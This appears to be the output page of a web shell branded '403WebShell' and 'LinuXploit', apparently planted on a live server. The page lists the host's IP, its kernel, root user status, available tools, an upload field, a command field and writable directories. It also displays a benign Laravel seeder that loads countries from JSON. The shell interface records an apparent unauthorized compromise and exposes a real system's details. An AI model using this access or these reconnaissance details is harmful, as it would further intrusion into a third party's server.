Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/database/seeders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/database/seeders/CountrySeeder.php
<?php

namespace Database\Seeders;

use App\Models\Country;
use Illuminate\Database\Console\Seeds\WithoutModelEvents;
use Illuminate\Database\Seeder;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Schema;

class CountrySeeder extends Seeder
{
    /**
     * Run the database seeds.
     */
    public function run(): void
    {
        Schema::disableForeignKeyConstraints();
        DB::table("countries")->truncate();
        Schema::enableForeignKeyConstraints();
        $contents = File::get(public_path('countries.json'));
        $countries = json_decode($contents, true);
        foreach ($countries as $country) {
            $status = "ACTIVE";
            if ($country['id'] == "101") {
                $status = "ACTIVE";
            }
            $data = new Country;
            $data->title = $country['name'];
            $data->country_code = $country['iso3'];
            $data->iso3 = $country['iso3'];
            $data->iso2 = $country['iso2'];
            $data->phone_code = $country['phone_code'];
            $data->currency = $country['currency'];
            $data->currency_symbol = $country['currency_symbol'];
            $data->region = $country['region'];
            $data->timezone = !is_null($country["timezones"]) ? $country["timezones"][0]['zoneName'] : NULL;
            $data->offset = !is_null($country["timezones"]) ? $country["timezones"][0]['gmtOffset'] : NULL;
            $data->offset_name = !is_null($country["timezones"]) ? $country["timezones"][0]['gmtOffsetName'] : NULL;
            $data->latitude = $country['latitude'];
            $data->longitude = $country['longitude'];
            $data->status = $status;
            $data->save();
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit